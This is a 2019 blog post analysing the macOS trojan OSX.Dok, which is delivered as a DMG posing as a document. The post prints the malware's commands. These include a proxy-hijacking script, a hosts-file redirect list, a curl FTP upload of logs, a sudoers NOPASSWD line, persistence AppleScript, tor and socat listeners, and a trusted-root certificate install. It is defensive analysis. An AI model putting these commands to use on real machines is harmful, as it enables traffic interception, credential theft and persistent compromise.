Tuesday, July 9, 2019

OSX.Dok Analysis

Recently I found one blog from Sentinelone, https://www.sentinelone.com/blog/macos-malware-2019-first-six-months/, which shows the malware outbreaks on Mac OS X in first half of 2019. I’ve decided to analyze all the family types and post here to have better understanding of the malware samples.
I will not deal with the malware families or their classification, this is just technical blog of what does the malware do.
First up is OSX\Dok. Sample we’re analyzing here is c2d081162e50cb4b5957c5df9fbe55c3.
  • File Info:The file is a DMG file. When we mount the DMG file, its label is Dokument. There is an app inside named Dokument.app. codesign command on the app reveals following details:


Format=bundle with Mach-O thin (x86_64)

CodeDirectory v=20200 size=344 flags=0x0(none) hashes=10+3 location=embedded

Hash type=sha1 size=20


Signature size=8519

Authority=Developer ID Application: Anton Ilin (48R325WWDB)

Authority=Developer ID Certification Authority

Authority=Apple Root CA

Timestamp=Dec 25, 2018 4:48:39 AM

Info.plist entries=23

Sealed Resources rules=4 files=5

Internal requirements count=1 size=180

So we can see that the app is signed and bundle identifier is Swisscom.Application.
Here is how it looks when you mount and open the DMG.
Here is the google translation for the text: Click twice on the icon to view the document

·      Inside the App: Now we see what files are inside the app. Nothing out of the ordinary. Here are some plist file entries:
            Copyright © 2017 Swisscom. All rights reserved.

Apart from that, we have nib file, which can help in analysis of the file.
One interesting thing that I observe, the mach-o file name is different from the app name. The mach-o file name is AppStore while the app name is Dokument.app. Usually with Mac OS X apps, the name of the app and the main mach-o executable inside have same name, nothing malicious, but strange.
We’ll see later. MacOS directory only has one 64-bit macho file.

  • Strings: Now we check the strings of the executable file and see if there are some interesting artifacts there. I generally use strings utility of OSX for strings. But strangely enough in this case, there are no strings displayed, literally no strings for the executable. So lets deep dive into the hex of AppStore mach-o file.
Well look, what I found. Here is the piece of text inside the macho file that explains it all:

Info: This file is packed with the UPX executable packer http://upx.sf.net $..$Id: UPX 3.93 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved.
Looks like this macho file is packed. So we unpack now. If its not modified UPX, its should be very easy to unpack this file, so lets go ahead. Just download upx and run upx -d AppStore command, and there you go, file unpacked. The file size also increases from 49,488 bytes to 92,544 bytes. Now lets run strings on the unpacked file. I got 413 lines of strings. Here are some interesting strings:
o   ps -A|grep -e /tor -e /socat|grep -v grep
Apart from this, I also observe 3 very large base64 encoded strings. Upon decoding there one string doesn’t give any result but the other two starts to clear picture. Here are the output of the base64 decode:
            local test

            if [ -z "${NETWORKUP:=}" ]; then
                        test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/' -e '/' -e '/inet/p' | wc -l)
                        if [ "${test}" -gt 0 ]; then

while [ "${NETWORKUP}" != "-YES-" ]
        sleep 5
sleep 5
ip=$(curl api.ipify.org)
str=$(env LC_CTYPE=C tr -dc "a-zA-Z0-9" < /dev/urandom | head -c 10)

/usr/sbin/networksetup -detectnewhardware
            for i in $(networksetup -listallnetworkservices | tail +2 );
                        autoProxyURLLocal=`/usr/sbin/networksetup -getautoproxyurl "$i" | head -1 | cut -c 6-`
                        echo "$i Proxy set to $autoProxyURLLocal"
                        if [[ $autoProxyURLLocal == "(null)" ]]; then
                                    /usr/sbin/networksetup -setautoproxyurl $i $autoProxyURL
                                    echo "Set auto proxy for $i to $autoProxyURL"
                        /usr/sbin/networksetup -setautoproxystate "$i" on
                        echo "Turned on auto proxy for $i"
unset IFS
echo "Auto proxy present, correct & enabled for all interfaces"

//hosts localhost broadcasthost
::1             localhost metrics.apple.com ocsp.apple.com su.itunes.apple.com ax.su.itunes.apple.com swscan.apple.com swcdn.apple.com swdist.apple.com a1.phobos.apple.com a101.phobos.apple.com a102.phobos.apple.com a103.phobos.apple.com a104.phobos.apple.com a105.phobos.apple.com a11.phobos.apple.com a12.phobos.apple.com a13.phobos.apple.com a14.phobos.apple.com a15.phobos.apple.com access.apple.com advertising.apple.com albert.apple.com ali.apple.com ams.apple.com apple.apple.com apple.com appleconnect.apple.com appleid-it.apple.com appleid.apple.com appleseed.apple.com appleseed3.apple.com appleseedtest.apple.com aps.info.apple.com ara.apple.com arait.apple.com asia.apple.com asw.apple.com atlaslms.apple.com av.apple.com benefits.apple.com beta.apple.com bugreport.apple.com bugreporter.apple.com c.apple.com calendar.apple.com certifications-test.apple.com certifications.apple.com certifications2.apple.com checkcoverage.apple.com checkrepair.apple.com concierge-mobile.apple.com concierge.apple.com consultants.apple.com cooljobs.apple.com deimos.apple.com deimos2.apple.com deimos3.apple.com deploy.apple.com developer.apple.com developer2.apple.com developertest.apple.com devforums.apple.com devimages.apple.com diagnostics.apple.com discussions.apple.com documentation.apple.com downloads.apple.com ecommerce.apple.com employment.apple.com enterprise.apple.com ep.sap.apple.com erp.apple.com esp-test.apple.com esp.apple.com euro.apple.com events.apple.com ext.apple.com ext1.apple.com extensions.apple.com files.apple.com gspa21.ls.apple.com gsx-it.apple.com gsx.apple.com gsxit.apple.com guide.apple.com help.apple.com hrweb.apple.com iad.apple.com iadworkbench.apple.com id.apple.com identity.apple.com iforgot.apple.com images.apple.com index.apple.com init.apple.com investor.apple.com iphone.apple.com itunes.apple.com itunespartner.apple.com jobs.apple.com k.apple.com lists.apple.com locate.apple.com macos.apple.com manuals.info.apple.com manuals01.info.apple.com manuals02.info.apple.com manuals03.info.apple.com manuals04.info.apple.com maps.apple.com mapsconnect.apple.com meetingroom.apple.com mfi.apple.com mobile.apple.com mobileaccess.apple.com movies.apple.com movietrailers.apple.com myaccess-it.apple.com myaccess.apple.com mynews.apple.com mystore.apple.com news.apple.com nr.apple.com opensource.apple.com podcastsconnect.apple.com portal.apple.com quicktime.apple.com radar.apple.com register.apple.com relay.apple.com relay1.apple.com relay11.apple.com relay12.apple.com relay13.apple.com relay14.apple.com relay15.apple.com relay2.apple.com relay3.apple.com relay4.apple.com relay5.apple.com remoteadvisor.apple.com remoteadvisor1.apple.com remoteadvisor2.apple.com reportaproblem.apple.com s.apple.com safari-extensions.apple.com sales.apple.com salesresources.apple.com school.apple.com selfsolve.apple.com servers.apple.com service.apple.com sift.apple.com signin.apple.com signin.info.apple.com source.apple.com ssl.apple.com sso.apple.com store.apple.com support.apple.com support01.apple.com support02.apple.com support03.apple.com support04.apple.com support05.apple.com supportprofile.apple.com supporttest.apple.com survey.apple.com survey2.apple.com swdlp.apple.com time.apple.com time1.apple.com time2.apple.com time3.apple.com time4.apple.com time5.apple.com tips.apple.com trailers.apple.com training.apple.com trainingevents.apple.com uptodate.apple.com volume.apple.com war.apple.com www1.apple.com wwwtest.apple.com xml.apple.com xp.apple.com xp2.apple.com virustotal.com www.virustotal.com
            We’ll go through the script first, the second output seems like hosts file entries.
In the script file, first there is check if internet is active or not and loop until the network is active. And then set proxy auto-config to${str}.js?ip=${ip}, where js filename is random 10 character name and ip is ip of the current system.

So it seems like malware is trying to change proxy on all interfaces and looks like its trying to capture traffic and since there is hosts file entries, it can be assumed that it will at some stage will try to change hosts file.
  • Running/debugging the app: We’ll try to run the app and see what behavior it shows and also we’ll debug to see the workings. When we run the malware, it checks for the path its running from. Tt copies itself as /Users/shared/AppStore run with “Dokument” as an argument. Meanwhile, it deletes /Users/admin/Downloads/Dokument.app, looks like the location is hardcoded. Now since the malware poses as a pdf document, to fool the users, it creates a dialog box using NSAlert with text “It may be damaged or use a file format that preview doesn't recognize” and after that it pops up the AppStore window.

The OS X Updates windows is created at top window with level mainMenuWindow, so if you are debugging the malware, the window will be on top of the debugger and will not be able to debug, careful while debugging.

Meanwhile, it also collects logs of its execution and FTPs it to ftp://engel-*****@ftp.keba.com/logs/ using curl:
curl -T "/tmp/****-mac.log" ftp://engel*****@ftp.keba.com/logs/

The log file is stored in tmp dir. The format of the logs is as follow:
[2019-07-09 01:43:04.112]:[DEBUG]:[applicationDidFinishLaunching Start]:[-[AppDelegate applicationDidFinishLaunching:]]:[34]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.112]:[DEBUG]:[selfName=Dokument]:[-[AppDelegate applicationDidFinishLaunching:]]:[61]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.113]:[DEBUG]:[selfPath=/Users/admin/Desktop/Dokument.app]:[-[AppDelegate applicationDidFinishLaunching:]]:[62]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.113]:[DEBUG]:[needLocation=/Users/Shared/AppStore.app]:[-[AppDelegate applicationDidFinishLaunching:]]:[63]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.113]:[DEBUG]:[needExecution=/Users/Shared/AppStore.app/Contents/MacOS/AppStore]:[-[AppDelegate applicationDidFinishLaunching:]]:[64]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.113]:[DEBUG]:[SelfInstall Start]:[-[AppDelegate SelfInstall]]:[129]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.132]:[DEBUG]:[Run command: chmod +x /Users/Shared/AppStore.app]:[-[NSString(ShellExecution) runAsCommand]]:[16]:[PID: 48271 UID: 502]
[2019-07-09 01:43:04.203]:[DEBUG]:[Command='sleep 5 && rm -fR "/Users/admin/Downloads/Dokument.app" && "/Users/Shared/AppStore.app/Contents/MacOS/AppStore" Dokument']:[-[AppDelegate SelfInstall]]:[140]:[PID: 48271 UID: 502]
[2019-07-09 01:43:09.372]:[DEBUG]:[applicationDidFinishLaunching Start]:[-[AppDelegate applicationDidFinishLaunching:]]:[34]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.372]:[DEBUG]:[selfName=AppStore]:[-[AppDelegate applicationDidFinishLaunching:]]:[61]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.372]:[DEBUG]:[selfPath=/Users/Shared/AppStore.app]:[-[AppDelegate applicationDidFinishLaunching:]]:[62]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.373]:[DEBUG]:[needLocation=/Users/Shared/AppStore.app]:[-[AppDelegate applicationDidFinishLaunching:]]:[63]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.373]:[DEBUG]:[needExecution=/Users/Shared/AppStore.app/Contents/MacOS/AppStore]:[-[AppDelegate applicationDidFinishLaunching:]]:[64]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.373]:[DEBUG]:[SelfInstall Start]:[-[AppDelegate SelfInstall]]:[129]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.374]:[DEBUG]:[username=admin]:[-[AppDelegate applicationDidFinishLaunching:]]:[79]:[PID: 48276 UID: 502]
[2019-07-09 01:43:09.375]:[DEBUG]:[launcAgentsPath=/Users/admin/Library/LaunchAgents]:[-[AppDelegate applicationDidFinishLaunching:]]:[83]:[PID: 48276 UID: 502]
[2019-07-09 01:43:10.151]:[DEBUG]:[IsLoginScriptExists: 0]:[-[AppDelegate IsLoginScriptExists]]:[165]:[PID: 48276 UID: 502]
[2019-07-09 01:43:10.152]:[DEBUG]:[AddLoginScript Start]:[-[AppDelegate AddLoginScript]]:[174]:[PID: 48276 UID: 502]

Here we can see all the info of what module of the malware was executed.

Now when the logs are send to ftp location, the malware then displays the AppStore window and in the background, it again runs /Users/Shared/Appstore.app, but this time without any argument. This is done using Apple Script

"do shell script "/Users/Shared/AppStore.app/Contents/MacOS/AppStore" with administrator privileges"

Also the malware looks if its being added into login items, if not its uses AppleScript to add itself to the login item.

tell application "System Events" to make login item at end with properties {path:"/Users/Shared/AppStore.app"}

Then it edits /etc/sudoers file using commands:
echo "admin  ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers"

After this, it installs Tor, but before that, closes all browser. It has command to kill 3 browsers:
killall Safari
killall firefox
killall "Google Chrome""

Once the browsers are killed, it start installing Tor and socat using homebrew:
"sudo -u admin /usr/local/bin/brew -v"
"-sudo -u admin /usr/local/bin/brew install tor"
“sudo -u admin /usr/local/bin/brew services start tor"
"sudo -u admin /usr/local/bin/brew install socat"
The malware install plists in LaunchAgents and one in LaunchDaemons:
            arguments: /usr/local/bin/socat
            arguments: "tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind="
            arguments: "SOCKS4A:,socksport=9050"

            arguments: /usr/local/bin/socat
            arguments: "tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind="
            arguments: "SOCKS4A:,socksport=9050"

            Arguments: /usr/local/bin/YVSreTsa

The plists in LaunchAgents have random names, while in LaunchDaemons seems to have hardcoded name.

/usr/local/bin/YVSreTsa is the script we encountered while doing strings on the file, which change the proxy and the hosts file.

The socat utility is used to listen on  port 5555 and 5588. It receives command from the attacker. The malware also edits the hosts file with the entries we saw above. The traffic is redirect to, which is then transferred to the tor server that we see in the plist file.

After creating the plists, the malware also tries to install a certificate into the keychain most probably to sniff into encrypted traffic:
bsecurity add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/bDCVMesG.der


So We tried to see what OSX.Dok is doing and how it is doing all the stuff. We can conclude following points about the malware from this:
·      Its basically a Trojan, comes in your system, make persistence, opens port for the attacker, listen to traffic and sends data to a Tor server.
·      Maintains log of the infected Macs and execution steps.
·      Changes hosts file and install cert and listen to all traffic.
·      Now if we see the hosts entries that we found, all of them are related to apple.com. So may be, may be the malware is targeting apple developers or users to steal their credentials



Post a Comment